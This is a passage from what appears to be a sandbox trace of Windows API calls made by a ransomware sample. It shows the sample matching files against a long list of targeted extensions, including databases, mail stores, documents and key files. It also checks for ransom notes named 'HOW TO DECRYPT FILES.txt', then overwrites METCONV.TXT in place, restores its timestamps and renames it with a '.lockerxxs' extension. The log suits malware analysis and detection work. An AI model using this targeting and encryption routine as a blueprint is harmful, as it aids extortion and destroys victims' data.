Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qbj") returned 0 [0058.620] lstrlenA (lpString="*.qbj") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.ofx") returned 0 [0058.620] lstrlenA (lpString="*.ofx") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qif") returned 0 [0058.620] lstrlenA (lpString="*.qif") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.mye") returned 0 [0058.620] lstrlenA (lpString="*.mye") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.mbox") returned 0 [0058.620] lstrlenA (lpString="*.mbox") returned 6 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.eml") returned 0 [0058.621] lstrlenA (lpString="*.eml") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.pst") returned 0 [0058.621] lstrlenA (lpString="*.pst") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.ost") returned 0 [0058.621] lstrlenA (lpString="*.ost") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.idx") returned 0 [0058.621] lstrlenA (lpString="*.idx") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.dbx") returned 0 [0058.621] lstrlenA (lpString="*.dbx") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.sql") returned 0 [0058.621] lstrlenA (lpString="*.sql") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.mdb") returned 0 [0058.621] lstrlenA (lpString="*.mdb") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.fdb") returned 0 [0058.621] lstrlenA (lpString="*.fdb") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.wab") returned 0 [0058.621] lstrlenA (lpString="*.wab") returned 5 [0058.621] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.dat") returned 0 [0058.621] lstrlenA (lpString="*.dat") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.txt") returned 0 [0058.622] lstrlenA (lpString="*.txt") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.jpeg") returned 0 [0058.622] lstrlenA (lpString="*.jpeg") returned 6 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.jpg") returned 0 [0058.622] lstrlenA (lpString="*.jpg") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.png") returned 0 [0058.622] lstrlenA (lpString="*.png") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.php") returned 0 [0058.622] lstrlenA (lpString="*.php") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.cs") returned 0 [0058.622] lstrlenA (lpString="*.cs") returned 4 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.cpp") returned 0 [0058.622] lstrlenA (lpString="*.cpp") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.rar") returned 0 [0058.622] lstrlenA (lpString="*.rar") returned 5 [0058.622] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.zip") returned 0 [0058.623] lstrlenA (lpString="*.zip") returned 5 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.html") returned 0 [0058.623] lstrlenA (lpString="*.html") returned 6 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.htm") returned 0 [0058.623] lstrlenA (lpString="*.htm") returned 5 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.xlsx") returned 0 [0058.623] lstrlenA (lpString="*.xlsx") returned 6 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.xls") returned 0 [0058.623] lstrlenA (lpString="*.xls") returned 5 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.mp4") returned 0 [0058.623] lstrlenA (lpString="*.mp4") returned 5 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.ppt") returned 0 [0058.623] lstrlenA (lpString="*.ppt") returned 5 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.pptx") returned 0 [0058.623] lstrlenA (lpString="*.pptx") returned 6 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.doc") returned 0 [0058.623] lstrlenA (lpString="*.doc") returned 5 [0058.623] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.dot") returned 0 [0058.624] lstrlenA (lpString="*.dot") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.docx") returned 0 [0058.624] lstrlenA (lpString="*.docx") returned 6 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.7z") returned 0 [0058.624] lstrlenA (lpString="*.7z") returned 4 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.tar") returned 0 [0058.624] lstrlenA (lpString="*.tar") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.bz2") returned 0 [0058.624] lstrlenA (lpString="*.bz2") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.gz") returned 0 [0058.624] lstrlenA (lpString="*.gz") returned 4 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.mkv") returned 0 [0058.624] lstrlenA (lpString="*.mkv") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.eml") returned 0 [0058.624] lstrlenA (lpString="*.eml") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.msg") returned 0 [0058.624] lstrlenA (lpString="*.msg") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.edb") returned 0 [0058.624] lstrlenA (lpString="*.edb") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.accdb") returned 0 [0058.624] lstrlenA (lpString="*.accdb") returned 7 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.odb") returned 0 [0058.624] lstrlenA (lpString="*.odb") returned 5 [0058.624] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.java") returned 0 [0058.624] lstrlenA (lpString="*.java") returned 6 [0058.625] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.asm") returned 0 [0058.625] lstrlenA (lpString="*.asm") returned 5 [0058.625] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.pfx") returned 0 [0058.625] lstrlenA (lpString="*.pfx") returned 5 [0058.625] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.pem") returned 0 [0058.625] lstrlenA (lpString="*.pem") returned 5 [0058.625] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.p12") returned 0 [0058.625] lstrlenA (lpString="*.p12") returned 5 [0058.625] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.gpg") returned 0 [0058.625] lstrlenA (lpString="*.gpg") returned 5 [0058.625] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.vsd") returned 0 [0058.625] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0058.625] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.625] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0058.625] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.625] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="METCONV.DLL") returned -1 [0058.626] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="METCONV.DLL") returned -1 [0058.626] lstrcmpiA (lpString1="", lpString2="METCONV.DLL") returned -1 [0058.626] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*") returned="*.*" [0058.626] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.626] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.626] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.626] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.626] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="METCONV.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" [0058.626] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0058.626] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.626] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="METCONV.TXT") returned -1 [0058.626] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="METCONV.TXT") returned -1 [0058.626] lstrcmpiA (lpString1="", lpString2="METCONV.TXT") returned -1 [0058.626] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned="METCONV.DLL" [0058.626] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.626] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.627] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.627] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.627] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="METCONV.TXT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" [0058.627] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" [0058.627] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" [0058.627] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT." [0058.627] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.lockerxxs" [0058.627] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.629] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x120eb8 [0058.629] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x85f12000, dwHighDateTime=0x1c9a11f), lpLastAccessTime=0x407536*(dwLowDateTime=0x69a83910, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x85f12000, dwHighDateTime=0x1c9a11f)) returned 1 [0058.629] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.629] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x120e92, lpOverlapped=0x0) returned 1 [0058.665] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned="METCONV.TXT" [0058.674] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.674] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x120e92, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x120e92, lpOverlapped=0x0) returned 1 [0058.690] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.690] CloseHandle (hObject=0x8c) returned 1 [0058.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.lockerxxs")) returned 1 [0058.710] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x2000002, dwReserved1=0x4f8118, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0058.710] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.710] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MOFL.DLL") returned -1 [0058.710] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MOFL.DLL") returned -1 [0058.710] lstrcmpiA (lpString1="", lpString2="MOFL.DLL") returned -1 [0058.710] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned="METCONV.TXT" [0058.710] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.710] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.710] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.710] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.710] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="MOFL.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" [0058.710] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.ems") returned 0 [0058.710] lstrlenA (lpString="*.ems") returned 5 [0058.710] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.db") returned 0 [0058.710] lstrlenA (lpString="*.db") returned 4 [0058.710] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.dbf") returned 0 [0058.710] lstrlenA (lpString="*.dbf") returned 5 [0058.710] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.myox") returned 0 [0058.710] lstrlenA (lpString="*.myox") returned 6 [0058.710] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.myo") returned 0 [0058.710] lstrlenA (lpString="*.myo") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qbw") returned 0 [0058.711] lstrlenA (lpString="*.qbw") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qbb") returned 0 [0058.711] lstrlenA (lpString="*.qbb") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qbm") returned 0 [0058.711] lstrlenA (lpString="*.qbm") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qbo") returned 0 [0058.711] lstrlenA (lpString="*.qbo") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qbx") returned 0 [0058.711] lstrlenA (lpString="*.qbx") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qba") returned 0 [0058.711] lstrlenA (lpString="*.qba") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qby") returned 0 [0058.711] lstrlenA (lpString="*.qby") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qbj") returned 0 [0058.711] lstrlenA (lpString="*.qbj") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.ofx") returned 0 [0058.711] lstrlenA (lpString="*.ofx") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.qif") returned 0 [0058.711] lstrlenA (lpString="*.qif") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mye") returned 0 [0058.711] lstrlenA (lpString="*.mye") returned 5 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mbox") returned 0 [0058.711] lstrlenA (lpString="*.mbox") returned 6 [0058.711] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.eml") returned 0 [0058.711] lstrlenA (lpString="*.eml") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.pst") returned 0 [0058.712] lstrlenA (lpString="*.pst") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.ost") returned 0 [0058.712] lstrlenA (lpString="*.ost") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.idx") returned 0 [0058.712] lstrlenA (lpString="*.idx") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.dbx") returned 0 [0058.712] lstrlenA (lpString="*.dbx") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.sql") returned 0 [0058.712] lstrlenA (lpString="*.sql") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mdb") returned 